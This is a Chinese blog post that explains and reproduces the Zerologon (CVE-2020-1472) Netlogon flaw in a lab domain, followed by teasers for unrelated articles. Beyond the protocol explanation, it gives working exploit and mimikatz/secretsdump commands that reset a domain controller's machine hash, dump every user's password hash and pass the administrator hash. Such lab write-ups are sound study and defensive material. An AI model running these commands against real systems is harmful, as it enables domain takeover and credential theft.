NetLogon 权限提升漏洞
参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客
-
域控机器账户:WIN-0V0GAORDC17
-
域控 ip:192.168.72.163
-
域内攻击者机器 ip:192.168.72.158,host:WIN10-01
-
攻击者 kali 机器 ip:192.168.72.162
NetLogon服务
Netlogon 是一个 Windows Server 进程,用于对域内的用户和其他服务进行身份验证。由于它是一项服务而不是应用程序,因此 Netlogon 会在后台持续运行,除非手动或因运行时错误而停止。可以从命令行终端停止或重新启动 Netlogon。最常见的是让用户使用 NTLM 协议登录服务器。默认情况下,Netlogon 服务在域内所有机器后台运行着,该服务的可执行文件路径为 C:\Windows\system32\lsass.exe。
NetLogon认证流程

-
客户端调用 NetrServerReqChallenge 函数给服务端发送随机8字节 Client Challenge 值。
-
服务端调用 NetrServerReqChallenge 函数给客户端发送随机8字节 Server Challenge 值。
-
双方同时生成 Session Key=KDF(secret,(Client Challenge+Server Challenge)) ,此secret是客户端机器账号的哈希值。
-
客户端使用 Session Key 作为密钥对 Client Challenge 加密运算为 Client Credential 并发给服务器,服务端进行相同步骤的运算并将结果与 Client Credential进行对比,相同则表示客户端有正确的凭据。
-
服务端使用 Session Key 作为密钥对 Server Challenge 值加密运算为 Server Credential 并发给客户端,客户端进行相同步骤的运算并将结果与 Server Credential 进行对比,相同则表示服务端拥有相同Session Key。
-
使用 Session Key 加密流量通信。
Session Key的生成
Session Key=KDF(secret,(Client Challenge+Server Challenge)),三种加密算法可选:AES、Strong-key 、DES。但是现代的 Windows server 通常拒绝 Strong-key 和 DES,所以都用 AES 加密。
-
md4 加密算法运算 SharedSecret 得到 M4SS,此 SharedSecret 是客户端机器账号的哈希值。
-
M4SS 作为密钥使用 HMAC-SHA256 算法对 Client Challenge 和 Server Challenge 进行一系列运算得到的结果取低 16 字节作为 Session Key。
ComputeSessionKey(SharedSecret, ClientChallenge, ServerChallenge)M4SS := MD4(UNICODE(SharedSecret)) CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));CALL SHA256Result(HashContext, SessionKey);SET SessionKey to lower 16 bytes of the SessionKey;
Credential 的生成
由于现代的 windows server 都拒绝 Strong-key 和 DES,所以都用 AES 加密

-
初始化 16 字节 IV(上图黄色部分),对 IV 使用 Session Key 作为密钥,AES 算法加密后获取密文第一个字节。
-
将此字节与 Challenge(上图蓝色部分)得第一个字节进行异或运算,将运算后的结果(上图的e3)放在IV末尾,同时覆盖了Challenge的第一个字节。
-
抛弃原 IV 的第一个字节,从第二个字节开始一直到之前运算的字节(上图的e3)作为新的IV,也就是IV整体后移了一位。
-
取完这个 IV 后重放上述操作。
微软使用 ComputeNetlogonCredential 来生成 Credential,传入一个 SessionKey,局部变量初始化一个 IV,AES加密后得到 Credential。
ComputeNetlogonCredential(Input, Sk, Output)SET IV = 0CALL AesEncrypt(Input, Sk, IV, Output)
漏洞原理
135 端口的 netlogon 协议加密模块存在缺陷,导致攻击者使用管理员权限访问 135 端口调用远程 RPC 服务重置域控制器机器账号 hash。
在上述的 NetLogon 身份验证过程中,客户端是在第4步向服务端发送Client Credential进行的身份验证,但是客户端发送的Client Credential有1/256的概率全为0,这是因为微软在ComputeNetlogonCredential函数中生成Credential时,IV被初始化为全0,如下图所示:

-
IV(上图黄色部分)全为0,Client Challenge(上图蓝色部分)因为我们可控全为0
-
只要 AES 加密算法对全 0 位的 16 字节进行运算的到的结果的第一个字节为 00,那么最终结果Credential就为全0位
-
此时加密密钥为Session Key,而此Session Key=KDF(secret,(Client Challenge+Server Challenge)),也就是随机生成的,而随机生成的Session Key对全0位的16字节进行AES运算后,得到的结果第一个字节为00的概率是1/256
-
服务端是通过Client Credential来验证客户端身份信息,如果步骤4生成的Credential为全0位,则其同样是合法的,我们能在步骤4时无限发送全0位的Client Credential来以1/256的概率爆破出合法的会话
-
注:上文的NetLogon认证流程中,第6步,也就是会话建立时,是有Session Key加密通信的,但是就算这个漏洞利用成功,我们也只能通过第4步骤的身份验证,并不能构造出合法的Session Key加密通信,所以在Net Logon身份认证时,需要设置标志位来取消加密会话,下面的攻击脚本就设置了flag标志位为0x212fffff,此标志位包含了取消加密会话的标志选项
漏洞实验
脚本zerologon_tester.py 和 cve-2020-1472-exploit.py
zerologon_tester.py
# 检测是否存在漏洞 python zerologon_tester.py WIN-0V0GAORDC17 192.168.72.163
CVE-2020-1472.py
# 攻击,使域控的机器账号哈希置为空 python cve-2020-1472-exploit.py WIN-0V0GAORDC17 WIN-0V0GAORDC17$ 192.168.72.163

远程连接域控
# 使用 WIN-0V0GAORDC17$机器账号,哈希为空连接,导出 administrator 用户的哈希 python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163 -no-pass -just-dc-user "administrator" # 导出所有用户哈希 python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163 -no-pass

mimikatz漏洞实验
检测是否存在漏洞
# 使用 mimikatz 执行如下命令检测目标域控是否存在 Netlogon 权限提升漏洞。 mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.72.163 /account:WIN-0V0GAORDC17$" "exit"
重置域控hash(攻击机在域中)
mimikatz.exe "lsadump::zerologon /target:WIN-0V0GAORDC17.HACKER.com /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
重置域控hash(攻击机在域外)
mimikatz.exe "lsadump::zerologon /target:192.168.72.163 /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
远程连接域控
#导出指定 administrator 用户哈希 mimikatz.exe "lsadump::dcsync /csv /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:\"\" /authntlm" "exit" lsadump::dcsync /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:""/authntlm #然后用 administrator 用户的哈希进行 pth 攻击连接域控,这一步需要 privilege::debug 提权 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.72.163 /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb" "exit"
恢复御用机器账户hash
获得域控机器账号的原始哈希
# 使用 mimikatz 的 sekurlsa::logonpassword 模块执行如下命令从 lsass.exe进程里面抓取域控机器账号 WIN-0V0GAORDC17$ 的原始哈希 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 恢复域控哈希 python reinstall_original_pw.py WIN-0V0GAORDC17 192.168.72.163 eace846f4b183390a111a1888b96beff

相关文章:
NetLogon 权限提升漏洞
参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客 域控机器账户:WIN-0V0GAORDC17 域控 ip:192.168.72.163 域内攻击者机器 ip:192.168.72.158,host:WIN10-01 攻击者 kali…...
【C++】 Flow of Control
《C程序设计基础教程》——刘厚泉,李政伟,二零一三年九月版,学习笔记 文章目录 1、选择结构1.1、if 语句1.2、嵌套的 if 语句1.3、条件运算符 ?:1.4、switch 语句 2、循环结构2.1、while 语句2.2、do-while 语句2.3、 for 循环2.4、循环嵌套…...
图论 之 迪斯科特拉算法求解最短路径
文章目录 题目743.网络延迟时间3341.到达最后一个房间的最少时间I 求解最短路径的问题,分为使用BFS和使用迪斯科特拉算法,这两种算法求解的范围是有区别的 BFS适合求解,边的权值都是1的图中的最短路径的问题 图论 之 BFS迪斯科特拉算法适合求…...
module ‘cv2.dnn‘ has no attribute ‘DictValue‘解决办法
module ‘cv2.dnn‘ has no attribute ‘DictValue‘解决办法 pip install opencv-python4.7.0.72 -i https://pypi.tuna.tsinghua.edu.cn/simple 测试: python -c"import cv2"...
Spring Boot 中事务的用法详解
引言 在 Spring Boot 中,事务管理是一个非常重要的功能,尤其是在涉及数据库操作的业务场景中。Spring 提供了强大的事务管理支持,能够帮助我们简化事务的管理和控制。本文将详细介绍 Spring Boot 中事务的用法,包括事务的基本概…...
【react18】如何使用useReducer和useContext来实现一个todoList功能
重点知识点就是使用useReducer来攻坚小型的公共状态管理,useImmerReducer来实现数据的不可变 实现效果 实现代码 项目工程结构 App.js文件 import logo from "./logo.svg"; import "./App.css"; import TodoLists from "./comps/TodoLi…...
Android GreenDAO 适配 AGP 8.0+
在 Android 中使用 GreenDao,由于 GreenDao 现在不维护,所以更新到新版本的 Gradle 经常出问题,在这记录一些升级遇到的问题,并且记录解决方案。 博主博客 https://blog.uso6.comhttps://blog.csdn.net/dxk539687357 一、‘:app…...
一篇搞懂vue3中如何使用ref、reactive实现响应式数据
ref 可实现 基本类型、对象类型响应式数据 reactive:只能实现 对象类型响应式 ref实现 基本类型 数据响应式: <template><div class"person"><h2>姓名:{{ name }}</h2><h2>年龄:{{ ag…...
【HeadFirst系列之HeadFirst设计模式】第7天之命令模式:封装请求,轻松实现解耦!
命令模式:封装请求,轻松实现解耦! 大家好!今天我们来聊聊设计模式中的命令模式(Command Pattern)。如果你曾经需要将请求封装成对象,或者希望实现请求的撤销、重做等功能,那么命令模…...
简单封装一个websocket构造函数
问题描述 最近维护一个老项目,发现项目中有大量重复代码,特别是websocket的调用这一块,同样的代码复制了十几个页面,于是自己封装了一个websocket调用的构造函数。 export default class CreateWebSocket {constructor(url) {//…...
Linux-Ansible自动化运维
文章目录 自动化运维Ansible 🏡作者主页:点击! 🤖Linux专栏:点击! ⏰️创作时间:2025年02月21日17点38分 自动化运维 自动化运维常用工具 Ansible 和 SaltStack 自动化运维优势: 服…...
uni-app(位置1)
文章目录 一、获取当前的地理位置、速度 uni.getLocation(OBJECT)二、打开地图选择位置 uni.chooseLocation(OBJECT)三、使用应用内置地图查看位置。uni.openLocation(OBJECT) 一、获取当前的地理位置、速度 uni.getLocation(OBJECT) App平台 manifest中配置好自己的地图厂商k…...
RabbitMQ服务异步通信
消息队列在使用过程中,面临着很多实际问题需要思考: 1. 消息可靠性 消息从发送,到消费者接收,会经理多个过程: 其中的每一步都可能导致消息丢失,常见的丢失原因包括: 发送时丢失: 生…...
CSS基础(浮动、相对定位、绝对定位、固定定位、粘性定位、版心、重置默认样式)
文章目录 1. 浮动(float)1.1 简介1.2 元素浮动后的特点1.3 脱离文档流示例图1.4 浮动产生的影响1.4.1 积极影响1.4.2 消极影响 1.5 解决浮动产生的影响1.5.1 清除浮动(Clearfix)1.5.2 创建新的块格式化上下文(BFC&…...
Spring Cloud — Hystrix 服务隔离、请求缓存及合并
Hystrix 的核心是提供服务容错保护,防止任何单一依赖耗尽整个容器的全部用户线程。使用舱壁隔离模式,对资源或失败单元进行隔离,避免一个服务的失效导致整个系统垮掉(雪崩效应)。 1 Hystrix监控 Hystrix 提供了对服务…...
RagFlow+Ollama 构建RAG私有化知识库
RagFlowOllama 构建RAG私有化知识库 关于RAG一、什么是RAGFlow一、RAGFlow 安装配置测服已有服务: mysql、redis、elasticsearch 二、RAGFlow 配置 ollama:本地运行大型语言模型的工具软件。用户可以轻松下载、运行和管理各种开源 LLM。降低使用门槛&…...
【Linux】【网络】不同子网下的客户端和服务器通信
【Linux】【网络】不同子网下的客户端和服务器通信 前两天在进行socket()网络编程并进行测试时,发现在不同wifi下两个电脑无法进行连接,大概去查找了如何解决 看到可以使用 frp 这个快速反向代理实现。 frp 可让您将位于 NAT 或防火墙后面的本地服务器…...
SpringBoot教程(十四) SpringBoot之集成Redis
SpringBoot教程(十四) | SpringBoot之集成Redis 一、Redis集成简介二、集成步骤 2.1 添加依赖2.2 添加配置2.3 项目中使用之简单使用 (举例讲解)2.4 项目中使用之工具类封装 (正式用这个)2.5 序列化 &…...
DeepSeek掘金——VSCode 接入DeepSeek V3大模型,附使用说明
VSCode 接入DeepSeek V3大模型,附使用说明 由于近期 DeepSeek 使用人数激增,服务器压力较大,官网已 暂停充值入口 ,且接口响应也开始不稳定,建议使用第三方部署的 DeepSeek,如 硅基流动 或者使用其他模型/插件,如 豆包免费AI插件 MarsCode、阿里免费AI插件 TONGYI Lin…...
OpenHarmony分布式数据管理子系统
OpenHarmony分布式数据管理子系统 简介 目录 组件说明 分布式数据对象数据共享分布式数据服务Key-Value数据库首选项关系型数据库标准数据化通路 相关仓 简介 子系统介绍 分布式数据管理子系统支持单设备的各种结构化数据的持久化,以及跨设备之间数据的同步、…...
如何有效利用MYSQL的连接数
连接数配置2500~3000 依然发现连接不够用? -- 查看当前最大连接数 SHOW VARIABLES LIKE MAX_CONNECTIONS; -- 查看当前总链接数 SHOW STATUS LIKE Threads_connected; -- 查看当前进程明细 SHOW PROCESSLIST; 合理设置以下参数: 1. MySQL 的参数设置 …...
【Java学习】多态
面向对象系列三 一、方法相同 二、方法重写 1.概念 2.条件 三、向上转型 1.概念 2.方式 四、方法绑定 五、多态 一、方法相同 方法相同要求方法名相同、参数列表相同、返回值类型相同(与两方法修饰的访问限定符相不相同、静态非静态状态相不相同无关),而且…...
单片机 Bootloade与二进制文件的生成
单片机的 Bootloader 是一种特殊的程序,负责在单片机上电后初始化硬件、更新用户应用程序(固件),并将控制权移交给用户程序。以下是其运行机制和关键流程的详细说明: 1、单片机 Bootloader 的核心作用 固件更新&…...
MySQL数据库(3)—— 表操作
目录 一,创建表 1.1 创建表的SQL 1.2 演示 二,查看表 三,修改表 四,删除表 常用的表操作会涉及到两种SWL语句 DDL(Data Definition Language)数据定义语言:建表、改表、删表等࿰…...
Springboot + Ollama + IDEA + DeepSeek 搭建本地deepseek简单调用示例
1. 版本说明 springboot 版本 3.3.8 Java 版本 17 spring-ai 版本 1.0.0-M5 deepseek 模型 deepseek-r1:7b 需要注意一下Ollama的使用版本: 2. springboot项目搭建 可以集成在自己的项目里,也可以到 spring.io 生成一个项目 生成的话,如下…...
七星棋牌源码高阶技术指南:6端互通、200+子游戏玩法深度剖析与企业级搭建实战(完全开源)
在棋牌游戏行业高速发展的今天,如何构建一个具备高并发、强稳定性与多功能支持的棋牌游戏系统成为众多开发者和运营团队关注的焦点。七星棋牌全开源修复版源码 凭借其 六端互通、200子游戏玩法、多省区本地化支持,以及 乐豆系统、防沉迷、比赛场、AI智能…...
【深度学习在图像配准中的应用与挑战】
图像配准在深度学习中的解决方案越来越多,尤其是通过卷积神经网络(CNN)和生成对抗网络(GAN)等方法,可以显著提升图像配准的效果,尤其是在处理复杂的非刚性变换和大范围的图像差异时。 1. 基于深…...
HarmonyOS 开发套件 介绍 ——上篇
HarmonyOS 开发套件 介绍 ——上篇 在当今科技飞速发展的时代,操作系统作为智能设备的核心,其重要性不言而喻。而HarmonyOS,作为华为推出的全新操作系统,正以其独特的魅力和强大的功能,吸引着越来越多的开发者和用户的…...
跳跃游戏(力扣55)
题目问是否可以跳到数组最后一个下标,有的同学可能会思考如何模拟跳跃这个操作,但这是比较困难的,很容易把自己绕进去。可以换一种思路,我们不需要知道具体是如何跳到最后一个下标的,而是找到最大的跳跃范围。如果该跳…...
网络空间安全(1)web应用程序的发展历程
前言 Web应用程序的发展历程是一部技术创新与社会变革交织的长卷,从简单的文档共享系统到如今复杂、交互式、数据驱动的平台,经历了多个重要阶段。 一、起源与初期发展(1989-1995年) Web的诞生: 1989年,欧洲…...
